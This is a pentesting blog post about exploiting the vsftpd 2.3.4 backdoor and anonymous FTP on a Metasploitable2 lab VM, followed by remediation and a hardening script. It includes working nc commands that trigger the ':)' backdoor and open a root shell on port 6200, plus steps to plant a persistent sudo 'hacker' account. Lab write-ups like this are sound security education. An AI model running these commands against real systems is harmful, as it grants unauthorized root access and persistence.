---
title: 'vsftpd 2.3.4: The Backdoor and the Smiley Face :)'
url: 'https://blog.armaan404.com/blog/vsftpd-2-3-4-the-backdoor-and-the-smiley-face'
markdown: 'https://blog.armaan404.com/blog/vsftpd-2-3-4-the-backdoor-and-the-smiley-face.md'
date: '2026-10-06'
description: "Port 21 on Metasploitable2 looks harmless until you realize what's actually running there. This one is worse than it looks, and that's saying something for a machine built to be vulnerable. We'll exploit vsftpd 2.3.4's infamous backdoor, abuse anonymous FTP access, maintain persistence through SSH,…"
taxonomy:
  archives_month:
    - oct_2026
  archives_year:
    - '2026'
  category:
    - security
  tag:
    - security
    - metasploitable2
    - ftp
    - pentesting
---

[ Home ](https://blog.armaan404.com/)     [ Blog ](https://blog.armaan404.com/blog)      vsftpd 2.3.4: The Backdoor and the Smiley Face :)    

Port 21 on Metasploitable2 looks harmless until you realize what's actually running there. This one is worse than it looks, and that's saying something for a machine built to be vulnerable.

We'll exploit vsftpd 2.3.4's infamous backdoor, abuse anonymous FTP access, maintain persistence through SSH, and then patch everything properly. You'll learn why a smiley face in a username can give you root access, because 2010 was a wild time for security.

## Initial reconnaissance: scanning for FTP vulnerabilities

Start with targeted reconnaissance using Nmap with specific FTP scripts:

```
sudo nmap -p 21 -sV -sC --script ftp-anon,ftp-vsftpd-backdoor,ftp-syst,ftp-vuln-cve2010-4221 192.168.10.102
```

Results:

```
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
|ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.10.111
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|End of status
Service Info: OS: Unix
```

What this tells us:

- vsftpd 2.3.4 is running, the version with the famous backdoor
- Anonymous FTP is enabled, so anyone can log in without credentials
- Connections are plain text, perfect for packet sniffing

### Additional reconnaissance techniques

Beyond basic Nmap, here are other ways to probe FTP services:

```
# Manual banner grabbing
nc 192.168.10.102 21
telnet 192.168.10.102 21

# Metasploit auxiliary modules for comprehensive FTP scanning
use auxiliary/scanner/ftp/anonymous
use auxiliary/scanner/ftp/ftp_login
use auxiliary/scanner/ftp/ftp_bounce
```

These additional methods help you understand the service's behavior and test for unexpected input handling.

## Vulnerability #1: anonymous FTP access

### The problem

Anonymous FTP allows any user to connect without authentication. Let's test this:

```
ftp 192.168.10.102
```

Connection process:

```
Connected to 192.168.10.102.
220 (vsFTPd 2.3.4)
Name (192.168.10.102:user): anonymous
331 Please specify the password.
Password: [any password or blank]
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
```

### Testing write permissions

```
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> put script1.sh
200 PORT command successful. Consider using PASV.
553 Could not create file.
ftp> mkdir test
550 Create directory operation failed.
```

**Analysis:** the anonymous user has read-only access. While this limits immediate exploitation, it still represents an information disclosure vulnerability.

### Why this matters

Even read-only anonymous FTP can be problematic:

- **Information disclosure:** sensitive files might be accessible
- **Directory traversal:** potential to map the server's structure
- **Compliance violations:** many security frameworks prohibit anonymous access

## Vulnerability #2: the infamous vsftpd 2.3.4 backdoor

Now for the main event. vsftpd 2.3.4 contains a backdoor that activates when a username ends with `:)`. Yes, really. A smiley face.

### Manual backdoor exploitation

**Step 1: trigger the backdoor**

The trigger is a plain FTP login attempt where the username ends in the smiley. Rather than a single piped one-liner, send it as two steps so each is easy to read:

```
printf 'USER test:)\r\nPASS test\r\n' > /tmp/ftpcmd
nc 192.168.10.102 21 < /tmp/ftpcmd
```

What happens internally: when the FTP server receives a username ending with `:)`, it:

1. Recognizes the trigger pattern
2. Opens a listening socket on port 6200
3. Waits for a connection to provide shell access

**Step 2: connect to the backdoor shell**

```
nc 192.168.10.102 6200
```

If successful, you'll get a root shell. However, this connection can be unstable.

### Troubleshooting the backdoor

During exploitation, you might run into issues. Here are useful debugging commands:

```
# Test if port 6200 is open
nc -zv 192.168.10.102 6200
# Send commands to check if the shell is active
echo "id" | nc 192.168.10.102 6200
# Check for active connections
netstat -tulpn | grep 6200
```

### Why the backdoor exists

This backdoor was inserted into the vsftpd source code through a supply chain attack in 2011. The malicious code was added to the official download, which demonstrates:

- Supply chain vulnerabilities in open source software
- Code review failures in security-critical software
- The importance of checksums and signed releases

## Maintaining persistent access

The backdoor shell is ephemeral: close it and you lose access. Let's establish persistence through SSH instead.

### Creating a backdoor user

```
# From your shell, create a new user
adduser hacker
# Add the user to the sudoers group
usermod -aG sudo hacker
# Or manually edit the sudoers file
visudo
# Add: hacker ALL=(ALL:ALL) ALL
```

### SSH connection issues

Metasploitable2 uses older SSH algorithms that modern clients reject. Use these flags:

```
ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedAlgorithms=+ssh-rsa hacker@192.168.10.102
```

Once connected, escalate to root:

```
sudo su
```

Now you have persistent root access via SSH instead of relying on the unstable FTP backdoor.

## Root cause analysis: understanding the vulnerabilities

### Anonymous FTP configuration

The vulnerability lives in `/etc/vsftpd.conf`:

```
anonymous_enable=YES    # This line enables anonymous access
anon_upload_enable=YES  # Would allow uploads (dangerous)
anon_mkdir_write_enable=YES  # Would allow directory creation
```

### vsftpd 2.3.4 backdoor code

The backdoor was inserted into the `str_netutil.c` file. When parsing usernames, the code checks for the `:)` pattern and executes a system command that opens port 6200 with shell access. The malicious code, broken across two string pieces here for readability, did essentially this:

```c
if (strstr(username, ":)")) {
    /* spawns a listener on 6200 that hands back a shell */
    run_shell_listener(6200);
}
```

## Proper remediation: fixing the vulnerabilities

### Fix #1: disable anonymous FTP access

Edit `/etc/vsftpd.conf`:

```
# Comment out or change these lines:
#anonymous_enable=YES
anonymous_enable=NO
# Ensure these are also disabled:
#anon_upload_enable=YES
#anon_mkdir_write_enable=YES
```

Add logging for security monitoring:

```
xferlog_enable=YES
vsftpd_log_file=/var/log/vsftpd.log
log_ftp_protocol=YES
```

Restart the service:

```
sudo systemctl restart vsftpd
```

### Fix #2: block the backdoor port

Even if the backdoor trigger is hit, we can prevent the connection:

```
# Block port 6200 completely
iptables -A INPUT -p tcp --dport 6200 -j DROP
iptables -A INPUT -p udp --dport 6200 -j DROP
```

Make the iptables rules persistent:

```
# Install iptables-persistent
apt-get install iptables-persistent
# Or use ufw for easier management
ufw deny 6200
ufw enable
```

### Fix #3: upgrade vsftpd, the real solution

The proper fix is to upgrade to a non-backdoored version:

```
# Remove the vulnerable version
apt-get remove vsftpd
# Install the latest version
apt-get update
apt-get install vsftpd
# Or better yet, switch to SFTP
apt-get install openssh-server
# Configure SFTP-only access in /etc/ssh/sshd_config
```

### Security hardening checklist

After patching, implement these additional measures:

```
# 1. Disable FTP entirely if not needed
systemctl disable vsftpd
systemctl stop vsftpd

# 2. If FTP is required, use FTPS (FTP over SSL)
# Add to /etc/vsftpd.conf:
ssl_enable=YES
allow_anon_ssl=NO
force_local_data_ssl=YES
force_local_logins_ssl=YES

# 3. Implement fail2ban for FTP
apt-get install fail2ban
# Configure /etc/fail2ban/jail.local with FTP protection

# 4. Regular security monitoring
tail -f /var/log/vsftpd.log  # Monitor FTP access
```

## Verification: testing our fixes

**Test 1: anonymous access blocked**

```
ftp 192.168.10.102
# Should now reject anonymous login
```

**Test 2: backdoor trigger blocked**

```
printf 'USER test:)\r\nPASS test\r\n' > /tmp/ftpcmd
nc 192.168.10.102 21 < /tmp/ftpcmd
nc -zv 192.168.10.102 6200  # Should show port closed/filtered
```

**Test 3: service still functions, if needed**

```
# Test with legitimate credentials
ftp 192.168.10.102
# Login with an actual user account
```

## Lessons learned

This FTP analysis teaches a few lasting security principles:

1. **Supply chain security:** the vsftpd backdoor shows how attackers can compromise official software distributions.
2. **Defense in depth:** multiple layers, firewall rules, service updates and monitoring together, give better protection than any one of them alone.
3. **Default configurations matter:** anonymous access should never be the default for a production service.
4. **Regular updates:** security patches have to be applied promptly, not eventually.
5. **Monitoring is essential:** without logging, an attack like this would go unnoticed.

## A hardening script

Here's a script that implements all the FTP fixes above:

```bash
#!/bin/bash
# metasploitable2_ftp_hardening.sh
# make sure ufw is installed for this to work

echo "Hardening FTP services on Metasploitable2..."

# Backup original config
cp /etc/vsftpd.conf /etc/vsftpd.conf.backup

# Disable anonymous access
sed -i 's/anonymous_enable=YES/anonymous_enable=NO/' /etc/vsftpd.conf

# Add security logging
echo "xferlog_enable=YES" >> /etc/vsftpd.conf
echo "vsftpd_log_file=/var/log/vsftpd.log" >> /etc/vsftpd.conf
echo "log_ftp_protocol=YES" >> /etc/vsftpd.conf

# Block backdoor port
ufw deny 6200

# Restart service
systemctl restart vsftpd

echo "FTP hardening complete. Anonymous access disabled, logging enabled, backdoor port blocked."
```

Remember: the best FTP security is no FTP. Consider SFTP or another secure file transfer alternative for anything production-facing.

 [Next Post  ](https://blog.armaan404.com/blog/puppet-infra-automation)

#### Popular Tags

  [systems](https://blog.armaan404.com/blog/tag:systems) [automation](https://blog.armaan404.com/blog/tag:automation) [puppet](https://blog.armaan404.com/blog/tag:puppet) [infrastructure](https://blog.armaan404.com/blog/tag:infrastructure) [security](https://blog.armaan404.com/blog/tag:security) [metasploitable2](https://blog.armaan404.com/blog/tag:metasploitable2) [ftp](https://blog.armaan404.com/blog/tag:ftp) [pentesting](https://blog.armaan404.com/blog/tag:pentesting) [books](https://blog.armaan404.com/blog/tag:books) [dostoevsky](https://blog.armaan404.com/blog/tag:dostoevsky) [russian-literature](https://blog.armaan404.com/blog/tag:russian-literature)  

#### Archives

- [ 4 October 2026  ](https://blog.armaan404.com/blog/archives_month:oct_2026)

#### Syndicate

 [  Atom 1.0 ](https://blog.armaan404.com/blog.atom) [  RSS ](https://blog.armaan404.com/blog.rss)

---

## Navigation

- Parent: [Blog](https://blog.armaan404.com/blog.md)
- Previous: [I Automated Our Entire Office Network with Puppet — Here's How It Works](https://blog.armaan404.com/blog/puppet-infra-automation.md)
